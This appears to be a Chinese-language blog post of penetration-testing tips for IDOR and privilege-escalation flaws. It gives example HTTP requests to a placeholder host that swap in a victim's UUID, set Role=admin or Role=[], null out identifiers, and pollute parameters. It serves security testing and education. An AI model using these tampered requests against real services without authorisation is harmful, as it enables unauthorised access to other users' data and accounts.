前言
本系列主要总结权限升级相关测试方法以及Tips,预计也会写到三篇左右(共计大概21种方法与tips), 之前写过权限相关的文章有: idor相关研究,gitlab漏洞系列-access control相关小结
正文
第一种方法
如果你找到uuid,尝试用受害者的电子邮件注册,有时候在响应中会发现uuid
这种情况为信息泄露
第二种方法
如果有基于UUID, ID或电子邮件的选项,尝试将UUID, ID或电子邮件替换为受害者的UUID, ID或电子邮件,可能会发现IDOR漏洞
POST /idor HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com Content-Length: Number uuid=**************
第三种方法
尝试将UUID更改为null,插入0或者尝试注入一个数组,例如UUID=[]来暴露敏感信息
POST /misconfiguration HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com Content-Length: Number UUID=00000000-0000-0000-0000-000000000000
第四种方法
有基于特权的选项,尝试将你的特权替换为高级权限
POST /privilege-escalation HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com Content-Length: Number Role=admin
第五种方法
尝试将角色更改为null或注入一个空数组,例如Role=[],可以暴露敏感信息
POST /privilege-escalation/misconfiguration HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com Content-Length: Number Role=[]
第六种方法
尝试使用带有UUID或角色参数的参数污染技术
?id=userid 200 ?id=victimid 401 --------------------------> ?id=userid&?id=victimid 200
第七种方法
尝试使用分隔符,例如|
,%20
或者UUID参数 ,可能会发现IDOR
POST /idor HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com Content-Length: Number UUID=victim-UUID,me-UUID